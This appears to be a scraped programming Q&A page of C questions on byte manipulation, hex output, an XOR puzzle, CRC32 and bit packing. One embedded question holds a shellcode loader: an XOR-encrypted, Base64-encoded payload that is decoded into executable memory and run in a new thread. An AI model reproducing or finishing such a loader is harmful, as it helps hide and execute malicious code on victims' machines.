char[] to uint64_t - c

I'm trying to convert an array of char into a uint64_t but it doesn't work.
Here's my code :
char input[8];
//Initialisation of input
int i,j;
uint64_t paquet=0;
for(i = 0; i < 8; i++)
{
for(j = 0; j < 8; j++)
{
paquet+= (input[i] >> j) & 0x01;
paquet = paquet << 1;
}
}

Assuming that the input buffer has stored the data in a little endian representation, which means that the least significant byte is at the lowest address and the most significant byte at the highest address then you can do something like the following.
#include <stdio.h>
#define __STDC_FORMAT_MACROS
#include <inttypes.h>
int main(void)
{
int i;
unsigned char input[8] = {0x01, 0x02, 0x03, 0x04, 0x5, 0x06, 0x07, 0x08 };
uint64_t paquet = 0;
for( i = 7; i >= 0; --i )
{
paquet <<= 8;
paquet |= (uint64_t)input[i];
}
printf("0x%" PRIx64 "\n", paquet);
return 0;
}
You can see the working example on ideone.
If the buffer is stored in big endian mode then reverse the loop.
Thank you to m24p for pointing out a bug in my initial draft.

Maybe this ?
uint64_t paquet = input[0]<<(8*7) | input[1]<<(8*6)
| input[2]<<(8*5)
| input[3]<<(8*4)
| input[4]<<(8*3)
| input[5]<<(8*2)
| input[6]<<(8*1)
| input[7];

char input[8] = "\x01\x23\x45\x67\x89\xAB\xCD\xEF";
uint64_t paquet = *(uint64_t*)"\x1\x0\x0\x0\x0\x0\x0\x0";
if(paquet == 1){
//reverse
char *f=&input[0], *b=&input[7];
while(f<b){
char tmp = *f;
*f++ = *b;
*b-- = tmp;
}
}
paquet = *(uint64_t*)input;//memcpy(&paquet, input, sizeof(input));

Related

Converting Signed Char Array That Involves Hex Characters to Unsigned Char Array

I am trying to create a shellcode by integrating XOR encryption and Base64 encoding. However, I have a problem. Base64 decoder that I found outputs char array but I need unsigned char array because all the rest of the algorithm is created for unsigned char array. I added my code below. Can you suggest a solution?
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include "windows.h"
/* ---- Base64 Encoding/Decoding Table --- */
char b64[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
void b64_encode(char *clrstr, char *b64dst);
void decodeblock(unsigned char in[], char *clrstr);
void b64_decode(char *b64src, char *clrdst);
void encodeblock( unsigned char in[], char b64str[], int len );
int main() {
PVOID lclbuff;
HANDLE thrd;
int i;
//mysrc, first, encrypted by using key1 with XOR and again encrypted by using key2 with XOR. Then encoded with base64. Therefore, I need to reverse these steps.
char mysrc[] = "XHhmOFx4NTZceDgzXHhmMFx4ZTFceGU1XHhkZlx4MGNceDEwXHgxOFx4NGRceDQyXHg0OVx4NDlceDRiXHg1MVx4NDFceDQ5XHgyOVx4YzdceDYxXHg1Nlx4OGJceDQ2XHg3MVx4NDVceDk0XHg1ZVx4MDhceDUwXHg4N1x4NDFceDI4XHg1MVx4OTJceDcyXHg0N1x4NDlceDE3XHhhMlx4NGVceDU0XHg0ZFx4MjVceGQ4XHg0NVx4MmVceGNjXHhiY1x4MjRceDZkXHg2Zlx4MGFceDM1XHgzOVx4NDFceGQ2XHhjOFx4MTVceDU0XHgwNVx4ZGZceGUyXHhmOVx4NDNceDRjXHg0ZVx4NDRceDliXHg0YVx4MmNceDk4XHg0YVx4MjVceDUxXHgwMVx4YzdceDhhXHg5OFx4OWRceDA0XHgxZVx4MDBceDVjXHg5NFx4Y2RceDZiXHg2Ylx4NThceDE5XHhkY1x4NDNceDgzXHg1MVx4MDFceDQ0XHg5Y1x4NDFceDM4XHg1Y1x4MDVceGNlXHhlM1x4NDJceDU5XHhmMlx4ZDZceDRkXHg5Ylx4MmNceDg0XHg1Ylx4MDlceGNmXHg1NFx4MzFceGRlXHg0OVx4MjlceGQ1XHhhOFx4NWZceGMxXHhkZFx4MWNceDRjXHgxZVx4Y2RceDI4XHhmOFx4NzlceGUyXHg0NFx4MWFceDU1XHgyNFx4MWZceDQ0XHgyMVx4YzRceDcxXHhjNlx4NThceDUwXHg5YVx4NGRceDNiXHg0NVx4MTFceGM4XHg2YVx4NTJceDgzXHgxNVx4NTFceDQ0XHg5Y1x4NDFceDA0XHg1Y1x4MDVceGNlXHg0MVx4OWZceDE1XHg4NVx4NTdceDBkXHhjMFx4NTlceDU0XHg1Mlx4NTBceDQ3XHg0MFx4NWFceDU2XHg1OVx4NTlceDRjXHg0NVx4NDRceDQ4XHg5N1x4ZmRceDJkXHg1ZVx4NWVceGVmXHhmOFx4NTRceDUyXHg1MVx4NDNceDUxXHg4Ylx4MDVceGU4XHg0Zlx4ZWFceGZiXHhlMVx4NWRceDVkXHhhZlx4N2FceDZjXHgzZVx4NGZceDJiXHgzZVx4MTNceDA4XHg1OFx4NGZceDQ5XHg5ZVx4ZTdceDUwXHg5NFx4ZThceGJlXHgwMVx4MTRceDExXHg0NFx4OTZceGU5XHg1OVx4YTRceDBlXHgxM1x4MmRceDYyXHgxM1x4MDBceDE1XHgwNVx4NTlceDQxXHg0ZFx4OTdceGU0XHg1OFx4OThceGZjXHg1ZVx4YjZceDVjXHg2Zlx4MmFceDE0XHhmN1x4Y2NceDU1XHg4OVx4ZmRceDY5XHgxOVx4MTRceDA0XHgxZVx4NTlceDU1XHhhYlx4MjRceDlmXHg2N1x4MTBceGU3XHhkOVx4NDNceDU4XHg1NFx4MjhceGM5XHg1YVx4MzBceGQ4XHg1ZFx4ZmJceGRlXHg0OFx4OWRceGQzXHg0NVx4ZTBceGNjXHg1OFx4OTFceGNkXHg1Mlx4YjJceGYzXHgxNlx4ZGZceGY3XHhmZVx4Y2RceDVkXHg4ZFx4ZDlceDZhXHgwNFx4NTBceDU1XHg1M1x4ODVceGYyXHg1MFx4ODVceGVhXHg0OVx4YTNceDgwXHhhNVx4NjNceDYwXHhlN1x4YzBceDRjXHg5Zlx4YzRceDU0XHgxM1x4MGRceDFmXHg0NVx4YThceDdiXHg2MVx4NzdceDA4XHgxOVx4MTlceDAwXHgxN1x4NDBceDQ4XHg1NFx4NTRceDU2XHg4OVx4ZjZceDQ2XHg1YVx4NDhceDQxXHgyMVx4ZDhceDY2XHgxZVx4NTFceDU4XHg0OVx4ZTJceGViXHg2N1x4ZGZceDUxXHgyMFx4NGFceDAxXHgxNVx4NTlceDgwXHg1Ylx4MjhceDA4XHhkZVx4MGNceDdiXHg0MFx4OTBceGZmXHg1Nlx4NDdceDQwXHg0OFx4NTRceDU0XHg1Zlx4NTBceDVkXHhlZVx4Y2RceDVlXHg1Y1x4NTlceGU3XHhjNFx4NWVceDgxXHhkOFx4NTVceDg5XHhkNlx4NDBceGEyXHg2Y1x4YzhceDIxXHg4Nlx4ZWJceGM0XHg0NVx4MmVceGRlXHg1OFx4ZTdceGM2XHg5OFx4MDZceDU4XHhhM1x4MDhceDkwXHgxY1x4NzhceGVhXHhkMVx4YTVceGYwXHhhMVx4YjNceDViXHg1ZVx4YjZceGI2XHg4ZFx4YjFceDhlXHhmN1x4Y2NceDUxXHg4M1x4ZDNceDI5XHgyNFx4MTNceDc4XHgxNFx4ODBceGVmXHhmMVx4NzhceDFhXHhiN1x4NTdceDBiXHg3ZVx4N2NceDYyXHgxOVx4NDBceDQxXHg5ZVx4ZGJceGU3XHhjMA==";
char myb64[1840];
unsigned char nw[1840];
b64_decode(mysrc, myb64);
printf("%s\n", myb64); // This gives following and true output: \xf8\x56\x83\xf0\xe1\xe5\xdf\x0c\x10\x18...
//However, It must reside inside an unsigned char array, as occurs in the output above.
//The output above must be turned into unsigned char array which is 'nw'. What can I do?
char key1[] = "elma";
char key2[] = "armut";
for(i=0; i<sizeof(nw)-1; i++){
nw[i]^=key2[i % strlen(key2)];
}
for(i=0; i<sizeof(nw)-1; i++){
nw[i]^=key1[i % strlen(key1)];
}
lclbuff = VirtualAlloc(NULL, sizeof(nw), (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
CopyMemory(lclbuff, nw, sizeof(nw));
thrd = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)lclbuff, NULL, 0, NULL);
WaitForSingleObject(thrd, INFINITE);
return 0;
}
// The functions below are only needed to base64 encoding/decoding. Therefore, we can pass them.
/* encode - base64 encode a stream, adding padding if needed */
void b64_encode(char *clrstr, char *b64dst) {
unsigned char in[3];
int i, len = 0;
int j = 0;
b64dst[0] = '\0';
while(clrstr[j]) {
len = 0;
for(i=0; i<3; i++) {
in[i] = (unsigned char) clrstr[j];
if(clrstr[j]) {
len++; j++;
}
else in[i] = 0;
}
if( len ) {
encodeblock( in, b64dst, len );
}
}
}
/* decodeblock - decode 4 '6-bit' characters into 3 8-bit binary bytes */
void decodeblock(unsigned char in[], char *clrstr) {
unsigned char out[4];
out[0] = in[0] << 2 | in[1] >> 4;
out[1] = in[1] << 4 | in[2] >> 2;
out[2] = in[2] << 6 | in[3] >> 0;
out[3] = '\0';
strncat(clrstr, out, sizeof(out));
}
void b64_decode(char *b64src, char *clrdst) {
int c, phase, i;
unsigned char in[4];
char *p;
clrdst[0] = '\0';
phase = 0; i=0;
while(b64src[i]) {
c = (int) b64src[i];
if(c == '=') {
decodeblock(in, clrdst);
break;
}
p = strchr(b64, c);
if(p) {
in[phase] = p - b64;
phase = (phase + 1) % 4;
if(phase == 0) {
decodeblock(in, clrdst);
in[0]=in[1]=in[2]=in[3]=0;
}
}
i++;
}
}
/* encodeblock - encode 3 8-bit binary bytes as 4 '6-bit' characters */
void encodeblock( unsigned char in[], char b64str[], int len ) {
unsigned char out[5];
out[0] = b64[ in[0] >> 2 ];
out[1] = b64[ ((in[0] & 0x03) << 4) | ((in[1] & 0xf0) >> 4) ];
out[2] = (unsigned char) (len > 1 ? b64[ ((in[1] & 0x0f) << 2) |
((in[2] & 0xc0) >> 6) ] : '=');
out[3] = (unsigned char) (len > 2 ? b64[ in[2] & 0x3f ] : '=');
out[4] = '\0';
strncat(b64str, out, sizeof(out));
}

Cast uint8_t to hex string (2 digits)

I'm currently using the following to print uint8_t to hex:
for(int j = 0; j < len; j++) {
printf("%02X ", bytes[j]);
}
Is it possible to do this without a for-loop and simply assign the result to a variable?
Here's one simple way:
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
bool to_hex(char* dest, size_t dest_len, const uint8_t* values, size_t val_len) {
if(dest_len < (val_len*2+1)) /* check that dest is large enough */
return false;
*dest = '\0'; /* in case val_len==0 */
while(val_len--) {
/* sprintf directly to where dest points */
sprintf(dest, "%02X", *values);
dest += 2;
++values;
}
return true;
}
int main() {
uint8_t values[256];
char buf[sizeof(values)*2+1]; /* one extra for \0 */
for(size_t i=0; i<256; ++i)
values[i] = i;
if(to_hex(buf, sizeof(buf), values, sizeof(values)))
printf("%s\n", buf);
}
Output:
000102030405060708090A0B0C0D0E0F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F303132333435363738393A3B3C3D3E3F404142434445464748494A4B4C4D4E4F505152535455565758595A5B5C5D5E5F606162636465666768696A6B6C6D6E6F707172737475767778797A7B7C7D7E7F808182838485868788898A8B8C8D8E8F909192939495969798999A9B9C9D9E9FA0A1A2A3A4A5A6A7A8A9AAABACADAEAFB0B1B2B3B4B5B6B7B8B9BABBBCBDBEBFC0C1C2C3C4C5C6C7C8C9CACBCCCDCECFD0D1D2D3D4D5D6D7D8D9DADBDCDDDEDFE0E1E2E3E4E5E6E7E8E9EAEBECEDEEEFF0F1F2F3F4F5F6F7F8F9FAFBFCFDFEFF
For completeness, here's a self contained version using a lookup table instead of sprintf:
bool to_hex(char* dest, size_t dest_len, const uint8_t* values, size_t val_len) {
static const char hex_table[] = "0123456789ABCDEF";
if(dest_len < (val_len*2+1)) /* check that dest is large enough */
return false;
while(val_len--) {
/* shift down the top nibble and pick a char from the hex_table */
*dest++ = hex_table[*values >> 4];
/* extract the bottom nibble and pick a char from the hex_table */
*dest++ = hex_table[*values++ & 0xF];
}
*dest = 0;
return true;
}
Personally, I'd go for the sprintf approach, but if you badly do not want to use one of the library api, you could use something like this:
char HexLookUp[] = "0123456789abcdef";
void bytes2hex (unsigned char *src, char *out, int len)
{
while(len--)
{
*out++ = HexLookUp[*src >> 4];
*out++ = HexLookUp[*src & 0x0F];
src++;
}
*out = 0;
}
Test code:
int main(void)
{
unsigned char bytes[] = {0x00, 0x01, 0x02, 0x03, 0xDE, 0xAD, 0xBE, 0xEF, 0xCC};
char buffer[sizeof(bytes)*2 + 1];
bytes2hex(bytes, buffer, sizeof(bytes));
printf("%s\n",buffer);
return 0;
}
Output:
00010203deadbeefcc

How does one determine for what input this function will return true?

A friend who's into coding provided me with this little thought exercise.
What string should one pass so that after processing str == check_string ?
This seemed pretty interesting to me, but I can't see how I can deduce what string to use.
bool func(char str[3])
{
char check_string[3] = {0x63, 0x69, 0x71};
int i = 0;
int j = 42;
for (i = 0; i < 3; i++, j += 3) {
str[i] ^= j;
}
return strncmp(str, check_string, 3);
}
How would one deal with this ? Is it a trick question ?
A dry-run in Notepad tells me that when you get to the strncmp call the state of str will be:
str[0] = str[0] ^ 42
str[1] = str[1] ^ 45
str[2] = str[2] ^ 48
Given that the comparison is with 0x63, 0x69, 0x71 then for str[0] ^ 42 to equal 0x63 (99) then find X such that:
X ^ 42 == 99
Note that XOR is a funny operation in that you just re-apply it to invert it (whereas addition is reversed by subtraction, and division by multiplication):
99 ^ 42 == 73
So the input str[0] must be 73.
Repeating the process of str[1] and str[2] is such:
str[0] = ( 99 ^ 42 ) = 73 = 'I'
str[1] = ( 105 ^ 45 ) = 68 = 'D'
str[2] = ( 113 ^ 48 ) = 65 = 'A'
So the input string "IDA" will be processed such that the two strings are equal.
I don't know what the signifiance of IDA is, ask your friend - it might be a reference to the powerful IDA disassembly tool.
We can just brute force it, we try with all the possible strings of length 3:
#include <bits/stdc++.h>
bool func(char str[3])
{
char check_string[3] = { 0x63, 0x69, 0x71};
int i = 0;
int j = 42;
for (i = 0; i < 3; i++, j += 3) {
str[i] ^= j;
}
return strncmp(str, check_string, 3);
}
int main(){
for(int i=0;i<200;i++){
for(int j=0;j<200;j++){
for(int k=0;k<200;k++){
char s[3]={i,j,k};
if(!func(s)) printf("%c%c%c\n",i,j,k);
}
}
}
}
output: IDA
The solution is to apply the same XOR operation to the check string to give the reverse. Here you go ...
#include <stdio.h>
#include <string.h>
int func(char str[3])
{
char check_string[3] = { 0x63, 0x69, 0x71};
int i = 0;
int j = 42;
for (i = 0; i < 3; i++, j += 3) {
str[i] ^= j;
}
return strncmp(str, check_string, 3);
}
void solv(char str[3])
{
static char check_string[3] = { 0x63, 0x69, 0x71};
int i = 0;
int j = 42;
for (i = 0; i < 3; i++, j += 3) {
str[i] = check_string[i];
str[i] ^= j;
printf("%2.2X --> %2.2X j=%2.2X/%d\n",check_string[i],str[i],j,j);
}
}
int
main(int argc,char **argv)
{
char sol[3];
int val;
solv(sol);
printf("solv: %2.2X %2.2X %2.2X\n",sol[0],sol[1],sol[2]);
val = func(sol);
printf("func: %2.2X %2.2X %2.2X %d\n",sol[0],sol[1],sol[2],val);
return 0;
}
How would one deal with this ?
You need to enter a string that is equal to the local check_string[], so that strncmp() returns 0.
Now, to understand what the string needs to be you could reverse engineer it
by:
running the check_string[] by the same for loop to get the reverse.
and then used it as an input argument.
Here is a code that does that:
#include <stdio.h>
#include <string.h>
int func(char str[3]) {
char check_string[3] = { 0x63, 0x69, 0x71};
int i = 0;
int j = 42;
for (i = 0; i < 3; i++, j += 3) {
str[i] ^= j;
}
return strncmp(str, check_string, 3);
}
/*
Function: reverse_xor()
Use: reverse_xor(c_str);
It applies XOR to c_str
so that when we pass it
to func(), the XOR applied
there will invert it and
c_str == check_string.
*/
void reverse_xor (char str[3]) {
static char check_string[3] = {0x63, 0x69, 0x71};
int i = 0;
int j = 42;
for (i = 0; i < 3; i++, j += 3) {
check_string[i] ^= j;
// apply XOR on check_string and assign it to the passed argument
str[i] = check_string[i];
}
}
//============================================
int main(void) {
char sol[3];
revers_xor(sol);
printf("%c\n",sol[0]);
printf("%c\n",sol[1]);
printf("%c\n",sol[2]);
int val = func(sol);
printf("%d\n",val);
return 0;
}
Output:
I
D
A
0

Crc32 C implementation - doesn't work

I found this CRC32 implementation on the internet, little bit changed it, but I can't get it to work. I initialize it and update it on every byte I get from input, but the hash I get is not what it should be...
typedef struct {
unsigned short xor;
} xor_context;
void crc32_init(crc32_context *context) {
context->crc = 0xFFFFFFFF;
}
void crc32_update(crc32_context *context, unsigned char byte) {
uint32_t crc, mask;
crc = context->crc;
crc = crc ^ byte;
for (int j = 7; j >= 0; j--) { // Do eight times.
mask = -(crc & 1);
crc = (crc >> 1) ^ (0xEDB88320 & mask);
}
context->crc = ~crc;
}
This one is original
unsigned int crc32b(unsigned char *message) {
int i, j;
unsigned int byte, crc, mask;
i = 0;
crc = 0xFFFFFFFF;
while (message[i] != 0) {
byte = message[i]; // Get next byte.
crc = crc ^ byte;
for (j = 7; j >= 0; j--) { // Do eight times.
mask = -(crc & 1);
crc = (crc >> 1) ^ (0xEDB88320 & mask);
}
i = i + 1;
}
return ~crc;
}
//typedef struct {
// unsigned short xor;
//} xor_context;//--> Not sure what part this plays in the code!
void crc32_init(crc32_context *context) {
context->crc = 0xFFFFFFFF;
}
void crc32_update(crc32_context *context, unsigned char byte) {
uint32_t crc, mask;
crc = context->crc;
crc = crc ^ byte;
for (int j = 7; j >= 0; j--) { // Do eight times.
mask = -(crc & 1);
crc = (crc >> 1) ^ (0xEDB88320 & mask);
}
//context->crc = ~crc; //<-- Don't perform for every byte.
context->crc = crc; //EDIT: Forgot this!
}
//Completes the check.
uint32_t crc32_complete(crc32_context *context){
return ~context->crc;
}

How can I store 4 char into an unsigned int using bitwise operation?

I would like to store 4 char (4 bytes) into an unsigned int.
You need to shift the bits of each char over, then OR combine them into the int:
unsigned int final = 0;
final |= ( data[0] << 24 );
final |= ( data[1] << 16 );
final |= ( data[2] << 8 );
final |= ( data[3] );
That uses an array of chars, but it's the same principle no matter how the data is coming in. (I think I got the shifts right)
One more way to do this :
#include <stdio.h>
union int_chars {
int a;
char b[4];
};
int main (int argc, char const* argv[])
{
union int_chars c;
c.a = 10;
c.b[0] = 1;
c.b[1] = 2;
c.b[2] = 3;
c.b[3] = 4;
return 0;
}
More simple, its better :
/*
** Made by CHEVALLIER Bastien
** Prep'ETNA Promo 2019
*/
#include <stdio.h>
int main()
{
int i;
int x;
char e = 'E';
char t = 'T';
char n = 'N';
char a = 'A';
((char *)&x)[0] = e;
((char *)&x)[1] = t;
((char *)&x)[2] = n;
((char *)&x)[3] = a;
for (i = 0; i < 4; i++)
printf("%c\n", ((char *)&x)[i]);
return 0;
}
You could do it like this (not bit-wise, but maybe more easy):
unsigned int a;
char *c;
c = (char *)&a;
c[0] = 'w';
c[1] = 'o';
c[2] = 'r';
c[3] = 'd';
Or if you want bit-wise you can use:
unsigned int a;
a &= ~(0xff << 24); // blank it
a |= ('w' << 24); // set it
// repeat with 16, 8, 0
If you don't blank it first you might get another result.

Resources